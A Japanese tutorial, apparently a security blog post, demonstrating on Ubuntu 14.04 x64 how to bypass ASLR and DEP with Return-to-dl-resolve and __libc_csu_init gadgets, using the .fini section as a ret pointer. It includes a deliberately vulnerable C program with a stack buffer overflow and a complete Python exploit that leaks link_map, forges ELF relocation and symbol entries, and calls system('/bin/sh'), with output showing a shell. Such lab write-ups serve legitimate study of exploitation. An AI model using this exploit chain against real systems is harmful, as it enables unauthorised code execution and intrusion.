x64でのReturn-to-dl-resolve + __libc_csu_init gadgetsにfiniセクションを使う
「x64でROP stager + Return-to-dl-resolve + __libc_csu_init gadgetsによるASLR+DEP回避をやってみる」では、ASLR+DEPが有効なx64環境でReturn-to-dl-resolve + __libc_csu_init gadgetsを使ってシェル起動を行った。 この際、事前に固定アドレスにret命令を指すアドレスを書き込んでおき、これを参照する形で__libc_csu_init gadgetを使うことでReturn-to-dl-resolveで呼び出す関数の引数をセットしたが、事前の書き込みを行う代わりにfiniセクションを利用することもできる。 ここでは、finiセクションを利用する方法により、Return-to-dl-resolve + __libc_csu_init gadgetsによるシェル起動をやってみる。 なお、FullRELROが有効な場合についてもDT_DEBUG readを行うことでシェル起動が可能である。
環境
Ubuntu 14.04.1 LTS 64bit版
$ uname -a Linux vm-ubuntu64 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 14.04.1 LTS Release: 14.04 Codename: trusty $ clang --version Ubuntu clang version 3.4-1ubuntu3 (tags/RELEASE_34/final) (based on LLVM 3.4) $ /lib/x86_64-linux-gnu/libc.so.6 GNU C Library (Ubuntu EGLIBC 2.19-0ubuntu6.3) stable release version 2.19, by Roland McGrath et al.
脆弱性のあるプログラムを用意する
まず、スタックバッファオーバーフローを起こせるコードを書く。 このコードは、「x64でROP stager + Return-to-dl-resolve + __libc_csu_init gadgetsによるASLR+DEP回避をやってみる」で使ったものと同じである。
/* bof.c */ #include <unistd.h> int main() { char buf[100]; int size; read(0, &size, 8); read(0, buf, size); write(1, buf, size); return 0; }
このコードは最初に8バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後出力する。
clangにてASLR、DEP、RELRO有効、SSP無効でコンパイルし、実行してみる。
$ sudo sysctl -w kernel.randomize_va_space=2 kernel.randomize_va_space = 2 $ clang -fno-stack-protector bof.c $ echo -en "\x04\x00\x00\x00\x00\x00\x00\x00AAAA" | ./a.out AAAA
finiセクションに着目する
実行ファイルにおけるfiniセクションの内容について調べると次のようになる。
$ readelf -S a.out There are 30 section headers, starting at offset 0x11c8: Section Headers: [Nr] Name Type Address Offset Size EntSize Flags Link Info Align [ 0] NULL 0000000000000000 00000000 0000000000000000 0000000000000000 0 0 0 [ 1] .interp PROGBITS 0000000000400238 00000238 000000000000001c 0000000000000000 A 0 0 1 (snip) [14] .fini PROGBITS 0000000000400674 00000674 0000000000000009 0000000000000000 AX 0 0 4 (snip) [29] .strtab STRTAB 0000000000000000 00001f78 0000000000000249 0000000000000000 0 0 1 Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings), l (large) I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown) O (extra OS processing required) o (OS specific), p (processor specific)
$ objdump -d -j.fini a.out a.out: file format elf64-x86-64 Disassembly of section .fini: 0000000000400674 <_fini>: 400674: 48 83 ec 08 sub rsp,0x8 400678: 48 83 c4 08 add rsp,0x8 40067c: c3 ret
上の結果より、finiセクションは実行可能(FlagsにX)かつ0x400674にあり、ちょうどその位置から三つの命令が並んでいることがわかる。 そして、この三つの命令は実質ret命令一つとみなすことができる。 さらに、finiセクションのアドレスはSection TableあるいはDynamicセクションに値として必ず存在しているため、その値のあるアドレスを実質ret命令を指すポインタとして利用することが可能である。 つまり、__libc_csu_init gadgetを使ってReturn-to-dl-resolveで呼び出す関数の引数をセットする際に利用することができる。
finiセクションは古い方式でのデストラクタ機構を提供するために存在し、そのプロローグとエピローグはcrti.Sおよびcrtn.Sによってそれぞれ次のように定義されている。
.section .fini,"ax",@progbits .p2align 2 .globl _fini .type _fini, @function _fini: subq $8, %rsp
.section .fini,"ax",@progbits addq $8, %rsp ret
かつてのコンパイラはこれらの間にデスクトラクタ処理を挿入したが、現在のgcc、clangはデストラクタ機構にfini_arrayセクションを使った新しい方式を用いるため、どちらのコンパイラを使った場合もfiniセクションの内容は先に示したディスアセンブル結果になる。
エクスプロイトコードを書いてみる
最初に、実行ファイルからセクション情報およびディスアセンブル結果を出力しておく。
$ readelf -S a.out > dump.txt $ objdump -d a.out >> dump.txt
上で出力した情報をもとに、finiセクションを利用したReturn-to-dl-resolve + __libc_csu_init gadgetsを行うエクスプロイトコードを書くと次のようになる。
$ cat exploit.py # exploit.py import sys import struct from subprocess import Popen, PIPE bufsize = int(sys.argv[1]) addr_dynsym = 0x4002b8 # readelf -S a.out addr_dynstr = 0x400330 # readelf -S a.out addr_relaplt = 0x4003b8 # readelf -S a.out addr_plt = 0x400440 # readelf -S a.out addr_got = 0x601000 # readelf -S a.out addr_bss = 0x601048 # readelf -S a.out addr_got_read = 0x601020 # objdump -d -j.plt a.out addr_got_write = 0x601018 # objdump -d -j.plt a.out addr_csu_init1 = 0x400656 # objdump -d a.out addr_csu_init2 = 0x400640 # objdump -d a.out addr_csu_init3 = 0x40065d # objdump -d a.out --start-address=$((0x40065d)) ptr_fini = 0x400e50 # readelf -S a.out; od -Ax -tx1z a.out | grep '74 06 40' """ 0000000000400600 <__libc_csu_init>: ... 400640: 4c 89 ea mov rdx,r13 400643: 4c 89 f6 mov rsi,r14 400646: 44 89 ff mov edi,r15d 400649: 41 ff 14 dc call QWORD PTR [r12+rbx*8] 40064d: 48 83 c3 01 add rbx,0x1 400651: 48 39 eb cmp rbx,rbp 400654: 75 ea jne 400640 <__libc_csu_init+0x40> 400656: 48 83 c4 08 add rsp,0x8 40065a: 5b pop rbx 40065b: 5d pop rbp 40065c: 41 5c pop r12 40065e: 41 5d pop r13 400660: 41 5e pop r14 400662: 41 5f pop r15 400664: c3 ret 000000000040065d <__libc_csu_init+0x5d>: 40065d: 5c pop rsp 40065e: 41 5d pop r13 400660: 41 5e pop r14 400662: 41 5f pop r15 400664: c3 ret """ stacksize = 0x800 addr_stage = addr_bss + stacksize buf1 = 'A' * bufsize buf1 += 'A' * (8-len(buf1)%8) buf1 += 'AAAAAAAA' * 2 buf1 += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, addr_got_write, 8, addr_got+8, 1) buf1 += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, 1, addr_got_read, 400, addr_stage, 0) buf1 += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, 0, 0, 0, 0, 0) buf1 += struct.pack('<QQ', addr_csu_init3, addr_stage-24) p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE) p.stdin.write(struct.pack('<Q', len(buf1))) p.stdin.write(buf1) print "[+] read: %r" % p.stdout.read(len(buf1)) addr_link_map = struct.unpack('<Q', p.stdout.read(8))[0] print "[+] addr_link_map = %x" % addr_link_map addr_dt_versym = addr_link_map + 0x1c8 addr_reloc = addr_stage + 8*27 align_reloc = 0x18 - ((addr_reloc-addr_relaplt) % 0x18) addr_reloc += align_reloc addr_sym = addr_reloc + 24 align_dynsym = 0x18 - ((addr_sym-addr_dynsym) % 0x18) addr_sym += align_dynsym addr_symstr = addr_sym + 24 addr_cmd = addr_symstr + 7 reloc_offset = (addr_reloc - addr_relaplt) / 0x18 r_info = (((addr_sym - addr_dynsym) / 0x18) << 32) | 0x7 st_name = addr_symstr - addr_dynstr buf = struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, addr_got_read, 8, addr_dt_versym, 0) buf += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, 1, ptr_fini, 0, 0, addr_cmd) buf += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, 0, 0, 0, 0, 0) buf += struct.pack('<Q', addr_plt) buf += struct.pack('<Q', reloc_offset) buf += 'AAAAAAAA' buf += 'A' * align_reloc buf += struct.pack('<QQQ', addr_got_read, r_info, 0) # Elf64_Rela buf += 'A' * align_dynsym buf += struct.pack('<IIQQ', st_name, 0x12, 0, 0) # Elf64_Sym buf += 'system\x00' buf += '/bin/sh <&2 >&2\x00' buf += 'A' * (400-len(buf)) p.stdin.write(buf) p.stdin.write(struct.pack('<Q', 0)) p.wait()
このコードは、オーバーフローさせるバッファのサイズを引数に取る。 また、stack pivotは__libc_csu_init gadgetsを使う方法にて行っている。
引数をセットし実行すると、次のようになる。
$ python exploit.py 100 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAV\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x18\x10`\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x08\x10`\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00@\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00 \x10`\x00\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00H\x18`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00]\x06@\x00\x00\x00\x00\x000\x18`\x00\x00\x00\x00\x00' [+] addr_link_map = 7f33ab61d1c8 $ id uid=1000(user) gid=1000(user) groups=1000(user) $
上の結果から、finiセクションを利用したReturn-to-dl-resolve + __libc_csu_init gadgetsにより、ASLR+DEPが有効なx64環境でシェルが起動できていることが確認できた。